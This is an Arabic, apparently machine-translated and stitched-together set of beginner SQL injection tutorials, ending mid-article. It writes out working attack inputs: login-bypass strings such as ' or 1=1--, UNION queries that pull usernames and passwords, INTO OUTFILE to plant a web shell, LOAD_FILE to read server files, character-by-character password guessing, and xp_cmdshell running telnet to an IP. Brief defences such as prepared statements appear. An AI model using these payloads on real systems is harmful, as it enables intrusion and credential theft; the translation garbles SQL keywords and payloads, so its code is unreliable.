تعليمات لاستخدام JSQL Injection - أداة البحث متعددة الوظائف وعمليات عملية حقن SQL في Kali Linux. حقن SQL من وإلى حقن SQL للمبتدئين

حقن SQL هو هجوم يستخدم بيانات SQL الديناميكية، أو إيداع أجزاء معينة من التعليمات في التعليقات أو إضافة شرط سيكون دائما صحيحا. يهدف إلى فتحات في بنية تطبيق الويب ويستخدم بيانات SQL لإجراء رمز SQL الخبيث:

في هذه المقالة، سننظر في الأساليب المستخدمة في حقن SQL وطرق حماية تطبيقات الويب من هذه الهجمات.

كيف تعمل حقن SQL

أنواع الهجمات التي يمكن إجراؤها باستخدام حقن SQL تختلف في نوع آليات قاعدة البيانات المتأثرة. الهجوم يهدف إلى بيانات SQL الديناميكية. المشغل الديناميكي هو مشغل تم إنشاؤه أثناء التنفيذ بناء على المعلمات من نموذج الويب أو سلسلة Query URI.

النظر في تطبيق ويب بسيط مع نموذج الإدخال. يظهر رمز HTML أدناه:

  • النموذج يقبل عنوان البريد الإلكتروني ثم يذهب كلمة المرور إلى ملف php اسمه index.php؛
  • يتم تخزين الجلسة في ملف تعريف الارتباط. يتم تنشيط هذه الميزة عند تثبيت علامة "تذكر". يتم استخدام طريقة النشر لإرسال البيانات. هذا يعني أنه لا يتم عرض القيم في عنوان URL.

افترض أن طلب التحقق من معرف المستخدم على جانب الخادم هو كما يلي:

  • يستخدم الاستعلام قيمة قيم صفيف $ _Post مباشرة، دون شانيتينج؛
  • يتم تشفير كلمة المرور باستخدام خوارزمية MD5.

سننظر في هجوم باستخدام SQL حقن SQLFiddle. افتح عنوان URL http://sqlfiddle.com/ في المتصفح. ستظهر النافذة التالية على الشاشة.

ملاحظة: ستحتاج إلى كتابة تعليمات SQL:

الخطوة 1. أدخل هذا الرمز إلى اللوحة اليسرى:

قم بإنشاء جدول "المستخدمين" (INT UNT NULL AUTO_INCREMENT، `البريد الإلكتروني` varchar (45) null null،` password` varchar (45) null null، مفتاح أساسي (`ID`))؛ إدراج في المستخدمين (البريد الإلكتروني وكلمة المرور) القيم (" [البريد الإلكتروني المحمي]"، MD5 (" ABC "))؛

الخطوة 2. انقر فوق " بناء مخطط.».
الخطوة 3. أدخل الرمز أدناه في الجزء الأيسر:

حدد * من المستخدمين؛

الخطوة 4. انقر فوق " تشغيل SQL." سترى النتيجة التالية:

افترض أن المستخدم يوفر عنوان البريد الإلكتروني [البريد الإلكتروني المحمي] و 1234 ككلمة مرور. قد يبدو الطلب الذي يجب إكماله في قاعدة البيانات مثل هذا:

قد يتم توجيه المثال فوق رمز SQL مثال على سبيل المثال عن طريق التخلص من جزء كلمة المرور من كلمة المرور وإضافة الشرط الذي سيكون دائما صحيحا. افترض أن المهاجم يلد البيانات التالية في حقل عنوان البريد الإلكتروني:

[البريد الإلكتروني المحمي]"أو 1 \u003d 1 الحد 1 -"]

و xxx في حقل كلمة المرور.

سيبدو المشغل الديناميكي الذي تم إنشاؤه مثل هذا:

  • [البريد الإلكتروني المحمي] ينتهي مع اقتباس واحد، مما يكمل السلسلة؛
  • أو 1 \u003d 1 الحد 1 هو شرط سيكون دائما صحيحا دائما، فإنه يحد من النتائج المرتجعة لإدخال واحد فقط.

0؛ "و ... هو تعليق SQL، الذي يستبعد جزء من كلمة المرور.

انسخ الاستعلام أعلاه والصقه في المربع النصي SQL FIDDLERUN SQL، كما هو موضح أدناه:

نشاط القراصنة: حقن SQL في تطبيقات الويب

لدينا تطبيق ويب بسيط متوفر على الموقع http://www.techpanda.org/، والذي أصبح عرضا على وجه التحديد للهجمات باستخدام حقن SQL للمبتدئين لأغراض العرض التوضيحي. يتم أخذ رمز رمز HTML الوارد أعلاه من صفحة التفويض لهذا التطبيق.

يوفر الأمن الأساسي، مثل حقل البريد الإلكتروني عاقل. هذا يعني أنه لا يمكن استخدام الكود أعلاه لتجاوز هذه الآلية.

للحصول علىها، يمكنك استخدام حقل كلمة المرور. يعرض المخطط التالي الخطوات المراد تنفيذها:

افترض أن المهاجم يوفر البيانات التالية:

الخطوة 1: يدخل [البريد الإلكتروني المحمي] كعنوان بريد إلكتروني؛
الخطوة 2: يدخل XXX ") أو 1 \u003d 1 -]؛

النقر على زر "إرسال".

سيتم إرسالها إلى لوحة الإدارة. سيبدو هذا الاستعلام الذي تم إنشاؤه مثل هذا:

يوضح الرسم البياني أدناه كيف تم إنشاء الطلب:

هنا:

  • يفترض الطلب أنه يتم استخدام تشفير MD5؛
  • يتم استخدام أحذية واحدة وإغلاق قوس؛
  • تتم إضافة الحالة إلى المشغل، والتي ستكون دائما صحيحة.

كقاعدة عامة، يحاول المهاجمون تطبيق عدة طرق مختلفة للهجوم باستخدام حقن SQL.

أنواع أخرى من الهجمات باستخدام حقن SQL

يمكن أن تسبب حقن SQL أضرارا أكبر بكثير من تسجيل النظام في تجاوز آلية التفويض. بعض هذه الهجمات يمكن:

  • حذف البيانات؛
  • إجراء تحديث البيانات؛
  • أداء إضافة البيانات؛
  • تشغيل على خادم الخادم الذي سيتم تنزيل البرامج الضارة وتثبيتها؛
  • تصدير إلى خادم مهاجم البيانات الذاتي عن بعد، مثل التفاصيل بطاقة إئتمان, بريد إلكتروني وكلمات المرور.

القائمة أعلاه غير كاملة. إنه ببساطة يعطي فكرة تمثل المخاطر حقن SQL.

أدوات لأتمتة حقن SQL

في المثال أعلاه، استخدمنا أساليب الهجوم اليدوي. قبل إجراء حقن SQL، تحتاج إلى فهم أن هناك أدوات آلية تسمح لك بإجراء الهجمات بشكل أكثر كفاءة وأسرع:

  • sqlmack؛
  • sqlping 2؛
  • sqlmap.

كيفية منع حقن SQL

فيما يلي بعض القواعد البسيطة التي تسمح بحماية من الهجمات باستخدام حقن SQL:

أدخل بيانات المستخدم لا ينبغي الوثوق بهاوبعد يحتاج دائما إلى تأمينه قبل استخدام البيانات في العمليات الديناميكية SQL.

الإجراءات المخزنة - يمكنهم تثبيت استعلامات SQL ومعالجة جميع بيانات الإدخال كمعلمات.

طلبات المعدة - يتم إنشاء استعلامات لأول مرة، ثم تتم معالجة جميع بيانات المستخدم المقدمة كمعلمات. هذا لا يؤثر على بناء جملة تعليمات SQL.

التعبيرات العادية - يمكن استخدامها للكشف عن التعليمات البرمجية الخبيثة المحتملة وحذفها قبل تنفيذ عبارات SQL.

حقوق الوصول إلى اتصال قاعدة البيانات - ل حماية ضد حقن SQLيجب توفير الحسابات المستخدمة للاتصال بقاعدة البيانات فقط الحقوق المطلوبة وصول. سيساعد ذلك في الحد من الإجراءات التي يمكن لمشغلي SQL القيام بها على الخادم.

رسائل خاطئة - لا تكشف عن المعلومات السرية. رسائل خطأ المستخدم البسيطة مثل " عذرا، نشأ خطأ فني. تم إخطار خدمة الدعم بالفعل بذلك. كرر المحاولة في وقت لاحق"يمكنك استخدام بدلا من عرض استعلامات SQL التي تسبب خطأ.

تحية القارئ. مؤخراأنا مغرم من الأمن على شبكة الإنترنت، وإلى حد ما يتعلق العمل بهذا. لأن أصبحت بشكل متزايد وأكثر في كثير من الأحيان أن تلاحظ السمات على مختلف المنتديات، مع طلب إظهار كيف يعمل كل شيء، قررت كتابة مقال. سيتم تصميم المقال لأولئك الذين لم يسبقوا متشابهين، لكني أود أن أتعلم. على الشبكة هناك العديد من المقالات نسبيا حول هذا الموضوع، ولكن للمبتدئين هم مجمع بعض الشيء. سأحاول وصف كل شيء من لغة مفهومة وأمثلة مفصلة.

مقدمة

من أجل فهم هذه المقالة، لن تحتاج بشكل خاص إلى معرفة لغة SQL، وعلى الأقل وجود الصبر الجيد وبعض العقول - للحفظ.

أعتقد أن قراءة واحدة للمقال ستكون صغيرة، ل نحتاج إلى أمثلة حية - كممارسة معروفة، في عملية الحفظ، لا يوجد زائدة. لذلك، سنكتب النصوص الضعيفة وتدريب عليها.

ما هو حقن SQL؟
تكلم لغة بسيطة - هذا هجوم على قاعدة بيانات ستجعل بعض الإجراءات التي لم يتم التخطيط لها من قبل خالق البرنامج النصي. مثال من الحياة:

كتب الأب، أمي في ملاحظة بحيث تمنحك 100 روبل ووضعها على الطاولة. إعادة تدويرها في لغة SQL الهزلي، سنحصل على:
اخرج من محفظة 100 روبل وإعطائها

لذلك، كما كتب الأب بشكل سيئ مذكرة (خط اليد الخرقاء)، وتركها على الطاولة، رأيت شقيقها Vasi - بيتر. Petya، كونه قراصنة، انتهى هناك "أو تمهيد" واتضح ليكون هذا الطلب:
الخروج من المحفظة 100 روبل وإعطائها أو الحيوانات الأليفة

والدتي تقرأ المذكرة، قررت أنها أعطت المال بالأمس وقدم 100 روبل في الحيوانات الأليفة. فيما يلي مثال بسيط على حقن SQL من الحياة :) دون تصفية البيانات (أمي بالكاد تفكيك خط اليد)، حققت Petya الربح.

تحضير
بالنسبة للممارسة، ستحتاج إلى أرشيف مع النصوص المصدر لهذه المقالة. قم بتنزيله وفكه على الخادم. قم باستيراد قاعدة البيانات أيضا وتعيين البيانات في الملف. cfg.php.

بحث حقن SQL.

كما كنت مفهوما بالفعل، يظهر الحقن من البيانات الواردة التي لا يتم تصفيتها. الخطأ الأكثر شيوعا ليس تصفية المعرف المرسل. حسنا، متحدث بوقاحة لاستبدال الاقتباسات في جميع الحقول. سواء كان طلب الحصول على / نشر وحتى ملف تعريف الارتباط!

المعلمة الواردة الرقمية
لممارسة، نحن بحاجة إلى نص index1.php.وبعد كما قلت أعلاه، نتحل محل الاقتباسات في معرف الأخبار.

لأن طلبنا ليس لديه الترشيح:

معرف $ \u003d $ _GET [ID "]؛ $ Query \u003d "حدد * من الأخبار حيث معرف \u003d $ ID"؛

سوف يفهم البرنامج النصي

حدد * من الأخبار حيث معرف \u003d 1 "

وتعطينا خطأ:
تحذير: mysql_fetch_array () يتوقع المعلمة 1 أن تكون الموارد، المنطقي المعطى في c: \\ webserv \\ المجالات \\ sqlinj \\ index1.php على السطر 16

إذا لم يصدر الخطأ - قد يكون هناك الأسباب التالية:

1. حقن SQL ليست هنا - يتم تصفية الاقتباسات، أو أنها تستحق التحويل إلى (int)
2. انتاج الخطأ الذي تم نقله.

إذا كان لا يزال جلب خطأ - الصيحة! وجدنا أول نوع من حقن SQL - معلمة واردة رقمية.

سلسلة المعلمة الواردة

سيتم إرسال الطلبات إلى index2.php.وبعد في هذا الملفالطلب له النموذج:
$ المستخدم \u003d $ _GET ["المستخدم"]؛ $ Query \u003d "حدد * من الأخبار حيث المستخدم \u003d" مستخدم $ "؛

هنا نصنع نماذج الأخبار بواسطة اسم المستخدم، ومرة \u200b\u200bأخرى - عدم التصفية.
مرة أخرى إرسال طلب مع عروض الأسعار:

أصدر خطأ. نعم! لذلك هناك ثغرة أمنية. لتبدأ، سيكون لدينا ما يكفي - سنواصل الممارسة.

ابدء

قليلا من النظرية

ربما لا يمكنك الانتظار لاستخراج شيء من هذا، باستثناء الأخطاء. لتبدأ، نتمنى أن علامة " -- "يعتبر تعليق في SQL.

الانتباه! قبل وبعد ذلك، يجب أن يكون هناك مسافات. في عنوان URL، يتم إرسالها %20

كل ما يأتي بعد التعليق - سيتم التخلص من وجود استفسار:
حدد * من الأخبار حيث المستخدم \u003d "Alexanderphp" - هابراهر

انها ناجحة. يمكنك تجربته في البرنامج النصي Index2.php، وإرسال مثل هذا الطلب:

sqlinj / index2.php؟ user \u003d alexandphp "٪ 20-٪ 20habrahabr

تعلم المعلمة اتحادوبعد في SQL. الكلمة الرئيسية اتحاد يتم استخدامه للجمع بين نتائج استفسارين SQL في جدول واحد. وهذا هو، من أجل سحب شيء نحتاج إليه من طاولة أخرى.

إزالة من هذا صالح

إذا كانت المعلمة "الرقمية"، فلن نحتاج إلى إرسال عروض الأسعار في الطلب ووضع تعليق بشكل طبيعي في النهاية. العودة إلى البرنامج النصي index1.php..

الرجوع إلى SQLINJ / Index1.php Script؟ ID \u003d 1 UNION حدد 1. يتم الحصول على طلب قاعدة البيانات هنا:
حدد * من الأخبار حيث معرف \u003d 1 UNION حدد 1
وقدم لنا خطأ، ل للعمل مع تطريز الطلبات، نحتاج إلى نفس عدد الحقول.

لأن لا يمكننا التأثير على كميةهم في الطلب الأول، ثم نحتاج إلى اختيار رقمهم في الثانية أنه يساوي الأول.

نقوم باختيار عدد الحقول

اختيار الحقول بسيط للغاية، فقط أرسل هذه الطلبات:
sqlinj / index1.php؟ ID \u003d 1 UNION حدد 1،2
خطأ…
sqlinj / index1.php؟ id \u003d 1 Union حدد 1،2،3
خطأ مرة أخرى!
sqlinj / index1.php؟ ID \u003d 1 UNION حدد 1،2،3،4،5
لا اخطاء! لذلك عدد الأعمدة يساوي 5.

مجموعة من.
غالبا ما يحدث أن الحقول يمكن أن تكون 20 أو 40 أو حتى 60. حتى لا نذهب من خلالهم في كل مرة، نستخدم مجموعة من.

إذا طلب
sqlinj / index1.php؟ معرف \u003d 1 المجموعة بواسطة 2
لم يصدر أخطاء، ثم عدد الحقول أكثر 2. نحاول:

sqlinj / index1.php؟ معرف \u003d 1 المجموعة بحلول 8
OP، نرى خطأ، ثم عدد الحقول أقل من 8.

إذا لم يكن هناك أي خطأ، وعندما يكون المجموعة بحلول الساعة 6 خطأ، فهذا يعني أن عدد الحقول هو 5

تحديد أعمدة الناتج
من أجل لنا من الطلب الأول، لم نتمكن من الإخراج، يكفي استبدال معرف غير موجود، على سبيل المثال:

sqlinj / index1.php؟ معرف \u003d -1 Union حدد 1،2،3،4،5

هذا الإجراء، حددنا الأعمدة التي يتم عرضها على الصفحة. الآن، لاستبدال هذه الأرقام إلى المعلومات المرجوة، تحتاج إلى متابعة الاستعلام.

إخراج البيانات

لنفترض أننا نعلم أنه لا يزال هناك طاولة المستخدمين. في هذه الحقول هوية شخصية, اسم. و نجاح.
نحتاج للحصول على معلومات حول المستخدم مع معرف \u003d 1

لذلك، سنبني مثل هذا الطلب:

sqlinj / index1.php؟ id \u003d -1 Union حدد 1،2،3،4،5 من المستخدمين حيث معرف \u003d 1
يستمر البرنامج النصي أيضا في الإخراج

لهذا، سنحل محل اسم الحقول، لمكان الأرقام 1 و 3

SQLINJ / INDEX1.PHP؟ ID \u003d -1 UNION حدد الاسم، 2، تمرير، 4،5 من المستخدمين حيث معرف \u003d 1
تلقى ما هو مطلوب!

بالنسبة إلى "سلسلة المعلمة الواردة" كما هو الحال في البرنامج النصي index2.php. تحتاج إلى إضافة اقتباس في البداية والتعليق علامة في النهاية. مثال:
sqlinj / index2.php؟ user \u003d -1 "الاتحاد حدد الاسم، 2، تمرير، 4،5 من المستخدمين حيث معرف \u003d 1-٪ 20

قراءة / كتابة الملفات

لقراءة الملفات وكتابةها، يجب أن يكون لدى مستخدم قاعدة البيانات File_Priv الصحيح.
تسجيل الملفات
في الواقع، كل شيء بسيط للغاية. لتسجيل الملف، سوف نستخدم الوظيفة outfile..
sqlinj / index2.php؟ user \u003d -1 "الاتحاد حدد 1،2،3،4،5 في Outfile" 1.PHP "-٪ 20
ممتاز، وقد اشترك الملف. لذلك يمكننا صب قذيفة صغيرة:
sqlinj / index2.php؟ user \u003d -1 "الاتحاد حدد 1""، 3.4.5 إلى Outfile" 1.PhP "-٪ 20
قراءة الملفات
قراءة الملف أسهل من التسجيل. فقط استخدم الوظيفة فقط تحميل الملف، في مكان هذا المجال الذي نختاره:

sqlinj / index2.php؟ user \u003d -1 "Union Select 1، load_file (" 1.php ")، 3،4،5 -٪ 20

وبالتالي، نقرأ الملف المسجل السابق.

طرق لحماية

من الأسهل حماية مشكلة عدم الحصانة. مجرد تصفية البيانات. إذا قمت بتمرير الأرقام، فاستخدم
معرف $ \u003d (int) $ _get [معرف "]؛
كما اقترح المستخدم malroc. خاصية باستخدام PDO أو البيانات المعدة.

بدلا من الانتهاء

في هذا أريد أن أكمل الجزء الأول عن "حقن SQL للمبتدئين". في الثانية سننظر إلى أمثلة أثقل من الحقن. محاولة كتابة البرامج النصية الضعيفة بنفسك وأداء الطلبات.
وتذكر، لا تثق في أي مستخدم لموقعك.

حقن SQL فرصة جيدة بما فيه الكفاية للحصول على القراصنة الحصول عليها
الوصول إلى الخادم. وبذل جهد بسيط
لا يزال، يحصل عليه 🙂

المبرمج في الداخل

في الوقت الحاضر، يتم دعم العمل مع قواعد البيانات.
تقريبا جميع لغات البرمجة، من الممكن تضمين أساسية أو C ++ و Java و Perl و PHP والتجميع وحتى JavaScript! وتسمى هذه البرامج أي شيء آخر غير أنظمة إدارة قواعد البيانات الخاصة ب DBMS. في كثير من الأحيان، يتم تطبيق قواعد البيانات لحل المهام المالية،
الحسابات، منظمات الموظفين، ولكن وجدوا تطبيقهم على الإنترنت.

غالبا ما تستخدم قواعد البيانات لكتابة تطبيقات الويب. استخدامهم هو الأنسب لتخزين بيانات التسجيل المخصصة، ومعرفات الجلسة، ومؤسسات البحث، وكذلك المهام الأخرى التي تتطلب المزيد من المعالجة
كمية البيانات. لاستئناف قاعدة البيانات، يتم استخدام تقنيات الخادم: PHP، PERL، ASP، إلخ. هذا هو هنا يبدأ الأكثر إثارة للاهتمام. عند الخادم
يتم تثبيت جميع التصحيحات، ويحظر جدار الحماية جميع المنافذ بخلاف 80 أو عندما تكون مصادقة مطلوبة للوصول إلى بعض البيانات، يمكن للمتسلل استخدام حقن SQL. جوهر هذا الهجوم هو استخدام خطأ في تقنيات الويب و SQL Junction. والحقيقة هي أن العديد من صفحات الويب لمعالجة البيانات المخصصة تشكل خاص مقدم SQL. طلب قاعدة البيانات. الاستخدام الإهمال لهذه التقنية يمكن أن يؤدي إلى نتائج مثيرة للاهتمام إلى حد ما ...

حقن SQL

لشرح الهجمات، تخيل أنك ذهبت إلى الموقع. من أجل تنزيل واحدة مهمة مهمة للغاية وإشعار مع الرعب، يمكنك القيام بذلك لا يمكن تسجيلها إلا، والتسجيل، بالطبع، لا أريد إعطاء الأخير حصل، ولكن بدون البرنامج بأي شكل من الأشكال! حان الوقت لتذكر كيف
الوصول إلى قواعد البيانات مقدم SQL.وبعد على سبيل المثال، التحقق من تسجيل الدخول وكلمة المرور، قد يكون لدى PHP النموذج التالي:

نتيجة $ \u003d mysql_db_query ($ db، "حدد * من جدول $ حيث المستخدم \u003d" $ تسجيل الدخول "و
تمرير \u003d "$ كلمة المرور")؛
$ Num_Rows \u003d mysql_num_rows (نتيجة $)؛
mysql_close (رابط $)؛
إذا ($ num_rows! \u003d 0)
{
// المصادقة موافق.
}
آخر.
{
// خطأ مصادقة
}

أضفت تعليقات اثنين، "مصادقة موافق" - بدلا من ذلك
الذهاب الرمز الذي سيتم الوفاء به إذا كانت كلمة المرور وتسجيل الدخول صحيحة. هناك "خطأ مصادقة" آخر هو مكان سيتم فيه وصف الكود، يتم تنفيذه في حالة عدم التصحيح. إذا قمت بملء النموذج، فسوف يشبه الطلب "http://www.server.com؟login\u003duser&password\u003d31337"، حيث اسم www.server.com
الخوادم التي نحاول الاتصال بها. وجدنا ما كانوا يبحثون عنه، وبالنسبة لي العودة إلى العمل مرة أخرى مقدم SQL.وبعد لذلك، إذا كان يجب عليك تحديد تسجيل دخول وكلمة مرور للترخيص، ثم تشكل مقدم SQL. سيكون لدى الطلب النموذج التالي:

حدد * من المستخدمين حيث تسجيل الدخول \u003d "المستخدم" و
كلمة المرور \u003d "31337"

هذا يعني ما يلي تقريبا: أعدني جميع السجلات من قاعدة بيانات المستخدمين التي يكون اسم المستخدم "المستخدم"، وكلمة المرور "31337". إذا كان هناك سجل مثل هذا السجل، فسيتم تسجيل المستخدم، ولكن إذا لم يكن كذلك، فلا يوجد ... ولكن في ظل ظروف معينة، يمكن تصحيح كل شيء. بمعنى الوضع عندما لا يتحقق التطبيق من محتويات البيانات المرسلة أو الشيكات غير تماما، للحضور مقدم SQL. تعليمات. في هذا المثال يتم فحص حقول تسجيل الدخول وكلمة المرور، ولكن إذا قمت بتحديد "31337" والبريد الإلكتروني \u003d "ككلمة مرور [البريد الإلكتروني المحمي]"(لا اقتباسات مزدوجة)، ثم سيتم تحديد الطلب مختلفا قليلا:

حدد * من المستخدمين حيث تسجيل الدخول \u003d "المستخدم" وكلمة المرور \u003d "31337" و
البريد الإلكتروني \u003d " [البريد الإلكتروني المحمي]"

وفي حالة وجود حقل البريد الإلكتروني، سيتم التحقق من هذه الحالة. إذا كنت تتذكر أساسيات الجبر المنطقي، فهذا يتبادر إلى الذهن باستثناء العملية "و" موجودة و "أو"، وبما أن استخدامها مدعوم من قبل SQL، فمن الممكن
إضافة الطريقة الموصوفة شرط إرجاع الحقيقة دائما. لتنفيذ هذا، تحتاج إلى تحديد "مستخدم" أو 1 \u003d 1-- "كدخول تسجيل دخول، في هذه الحالة سوف يأخذ الطلب النموذج:

حدد * من المستخدمين حيث تسجيل الدخول \u003d "المستخدم" أو 1 \u003d 1-- "و
كلمة المرور \u003d "31337"

لتبدأ، يجب أن تعرف ذلك "-" يعني نهاية الطلب، وكل شيء بعد "-"
لن تتم معالجتها! اتضح، كما لو أننا قدمنا \u200b\u200bطلبا:

حدد * من المستخدمين حيث تسجيل الدخول \u003d "المستخدم" أو 1 \u003d 1

كما ترى، أضفنا الحالة "1 \u003d 1"، فهذا يعني أن معيار التحقق سيكون "إذا كان اسم المستخدم" أو 1 \u003d 1 \u003d 1 "، ولكن بعد كل شيء، 1 هو دائما 1 (الحساب فقط من Dani Whisper يمكن أن يكون استثناء :)). للتحقق من شكوكنا
نحن نسجل في شريط العناوين "http://www.server.com؟login\u003duser أو 1 \u003d 1 - وكلمة المرور \u003d 31337". هذا يؤدي إلى حقيقة أنه لا يلعب الأدوار التي سجلناها، و
وخاصة كلمة المرور! ونحن في المصفوفة ... أوه، في النظام، يمكننا تنزيل بهدوء ما نحتاجه.

لكن كل شيء من الناحية النظرية. في الممارسة العملية، نحن لا نعرف كيفية تشكيل الطلب، والذي يتم نقل البيانات وفي أي تسلسل. لذلك، يجب عليك تحديد "المستخدم" أو 1 \u003d 1 - "لجميع الحقول. يجب عليك أيضا التحقق من نموذج الختم للحقول المخفية. في HTML، يتم وصفها بأنها" "إذا كانت هذه موجودة، احفظ الصفحة وتغيير حقول الحقول. غالبا ما يتم نسيان القيم الموجودة فيها في عددها للتحقق من وجود تعليمات SQL. ولكن بحيث يتم كل شيء في النموذج (TEG" نموذج ") لمعلمة "الإجراء" لتحديد المسار الكامل إلى البرنامج النصي. ما الذي يعالج هذا الطلب.

لكنه لا يعرف دائما حسب الطلب،
يمكن تشكيل مثال آخر بالطرق التالية:

حدد * من المستخدمين حيث (تسجيل الدخول \u003d "المستخدم" وكلمة المرور \u003d "31337")
حدد * من المستخدمين حيث تسجيل الدخول \u003d "المستخدم" وكلمة المرور \u003d "31337"
حدد * من المستخدمين حيث تسجيل الدخول \u003d المستخدم وكلمة المرور \u003d 31337

في هذه الحالة، يمكنك تجربة الخيارات التالية:

"أو 1 \u003d 1--
"أو 1 \u003d 1--
أو 1 \u003d 1--
"أو" أ "\u003d"
"أو" أ "\u003d"
") أو (" "\u003d"
أو "1" \u003d "1"

كل هذا يتوقف على الغرض من البرنامج النصي، ومن المبرمج. نظرا لأن الجميع غريبون أن يفعلوا كل شيء بطريقته الخاصة، فمن الممكن تماما أن يختار المبرمون عدم وجود خيار أسهل. لذلك، يجب أن لا على الفور
الاستسلام إذا حصلت على فشل. ضروري
حاول تجربة أكبر قدر ممكن من الخيارات ...

كشف كلمة المرور.

تجاوز التفويض ليس سيئا، ولكن في كثير من الأحيان الحفرة التي تستخدمها تغلق، وكل ما فقدت من أجلك تضيع.
يجب أن يكون هذا متوقعا إذا كان المبرمج ليس أحمق هو
مع مرور الوقت، سوف تغطي جميع الثغرات. من هذه الحالات، يمكنك بسهولة التخلص من العناية المسبقة به. الحل الصحيح يمكن أن يخمن كلمة المرور من خلال
تحليل نتائج المصادقة. لتبدأ، نحاول تخمين كلمة المرور، لهذا نقدم مكانها:

"أو كلمة المرور\u003e"

إذا نجيبنا على أنه تم تمرير التفويض، ثم كلمة المرور
لا يبدأ في الحرف "A"، ولكن على بعض ما يلي في القائمة. تتحرك أكثر والبديل
ضع "A"، ما يلي "B"، "C"، "D"، "E" ...، إلخ. في حين أننا لا نجيب على أن كلمة المرور غير صحيحة. دع هذه العملية توقفت على الرمز "X"، وفي هذه الحالة يتم إنشاء خيارين لتطوير الموقف، يتم العثور على كلمة المرور أو قراءة كلمة المرور على هذا الرمز. للتحقق من الخيار الأول، نكتب مكان كلمة المرور:

"أو كلمة المرور \u003d" x

وإذا تم قبول كلمة المرور وتسمح لك، فأنت تخمن كلمة المرور! حسنا، لا، ثم يجب تحديد الشخصية الثانية،
بنفس الطريقة، من البداية. لشيك شخصين
تحتاج نفس الشيء. في النهاية، ستحصل على كلمة مرور، وأنت تبحث عن تسجيل دخول إلى 🙂
في حالة العثور على كلمة المرور وتسجيل الدخول لا تناسبك، يمكنك العثور على الآخرين. للقيام بذلك، ابدأ في التحقق من الرمز الأخير الذي تم العثور عليه كلمة المرور. لذلك، إذا كانت كلمة المرور "XXX" للتحقق من وجود كلمة مرور
"XXY":

"أو كلمة المرور \u003d" xxx

من أجل عدم تفويت خيار واحد!

MS SQL Server.

السيدة. خادم قاعدة البيانات بشكل عام، اكتشف إذا فات التصنيف الضروري. يمكن تنفيذ مشكلة عدم حصانة حقن SQL
الأوامر على خادم بعيد باستخدام exec master..xp_cmdshell. ولكن لاستخدام هذا التصميم
يجب عليك إكمال عملية تحديد. في تعليمات SQL مفصولة بفاصلة فاصلة. لذلك، اتصل ببعض IP بواسطة Telnet "y، كلمة مرور مطلوبة / تسجيل الدخول إلى الكتابة:

"؛ exec master..xp_cmdshell" Telnet 192.168.0.1 "-

يحتوي MS SQL Server على، عدد قليل من الميزات الأكثر إثارة للاهتمام، مما يتيح لك معرفة تسجيل الدخول وكلمات المرور المخزنة في قاعدة البيانات. لهذا، يتم إعادة توجيه استنتاج الخطأ إلى خادم وتعريفي
تحليل يمكنك معرفة اسم الجدول والحقول وأنواعها. وبعد ذلك يمكنك طلب

"Union Select Top 1 تسجيل الدخول من المستخدمين

(اسم الحقل تسجيل الدخول الذي يحتوي على تسجيل الدخول، والمستخدمين - اسم الجدول،
جالس في عملية تحليل الأخطاء).

قد تكون الإجابة كما يلي:


خطأ في بناء الجملة تحويل قيمة NVARCHAR "(! LANG: المسؤول" to a column of data type int. !}
/Default.asp، الخط 27

الآن نحن نعرف أن هناك مستخدم يدعى "المسؤول". الآن يمكننا الحصول عليها كلمة المرور:

"الاتحاد حدد كلمة مرور أعلى 1 من المستخدمين حيث تسجيل الدخول \u003d" المسؤول "-

نتيجة:

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07"
خطأ في بناء الجملة تحويل قيمة NVARCHAR "(! LANG: XXX" to a column of data type int. !}
/ Shadault.asp، Line 27

الآن نحن نعرف أن هناك مستخدم "المسؤول" بكلمة مرور "xxx". يمكنك بأمان
استخدام وتسجيل الدخول إلى النظام 😉

ولكن لا يزال هناك العديد من المهام الأخرى للعمل مع SQL،
عند العمل مع قاعدة البيانات، يمكنك أيضا حذف البيانات وتعديلها وإدراج ملفاتك الخاصة وحتى التعامل معها وتعمل مع السجل.
بشكل عام، SQL Server - سيارات الأجرة 🙂

حماية

ولكن هذا يمكن تجنبه بشكل طبيعي. لهذا يمكنك
الاستفادة من المرشحات
المقدمة من الشركات المصنعة. يمكنك العثور على الحلول الخاصة بك، على سبيل المثال، لاستبدال كل نفس
ونقلت مزدوجة (إذا ل مقدم SQL. طلب نستخدم واحد واحد) أو العكس. لا يمكن السماح إلا باستخدام الحروف والدبابات @ إذا كنت بحاجة إلى الدخول
عنوان البريد الإلكتروني. وفي اللؤلؤة هناك مذهلة
وظيفة 🙂 اقتباس () في وحدة DBD :: DBD، مما يجعل طلبك بنجاح آمنا فيما يتعلق مقدم SQL.وبعد العديد من الحلول، أنت فقط تحتاجها
الاستفادة من خلاف ذلك، لماذا ثم كل هذا ...

حقن SQL للدمى، القرصنة ASP + MSSQL

ألكساندر أنتيبوف.

لا تحتوي هذه المقالة على أي حقائق جديدة، يتم وصف حقن SQL واستخدامها على نطاق واسع في كل مكان. المقال مخصص أكثر للمبتدئين، ولكن ربما سيتمكن المهنيين من العثور على خدعة واحدة أو اثنين جديدة.


تهدف هذه المقالة إلى مساعدة المبتدئين في التعامل مع المشكلات التي قد تواجهها عند استخدام تقنية حقن SQL، واستخدامها بنجاح وتكون قادرة على حماية أنفسهم من هذه الهجمات.

مقدمة

عندما يتم نشر خادم الخادم فقط 80 منفذا فقط، لا يمكن للماسح الضوئي الضعف الإبلاغ عن أي شيء مثير للاهتمام، وأنت تعلم أن مسؤول النظام دائما يحدد فورا على الفور جميع الصفحات على خادم الويب، فإن آخر فرصة لدينا لا تزال اختراقا على الويب. حقن SQL هي واحدة من أنواع القرصنة على الويب، والتي تستخدم 80 منفذا فقط، ويمكن أن تعمل، حتى مع المدفوعات المثبتة في الوقت المناسب. هذا الهجوم موجه أكثر توجيه إلى تطبيق الويب (النوع ASP، JSP، PHP، CGI، إلخ.) من مباشرة إلى خادم الويب أو الخدمات في نظام التشغيل.

لا تحتوي هذه المقالة على أي حقائق جديدة، يتم وصف حقن SQL واستخدامها على نطاق واسع في كل مكان. المقال مخصص أكثر للمبتدئين، ولكن ربما سيتمكن المهنيين من العثور على خدعة واحدة أو اثنين جديدة. أوصي أيضا بالنظر إليها في نهاية روابط المقالة لمزيد من التفاصيل من تلك المهرة في الفن.

1.1 ما هو حقن SQL؟

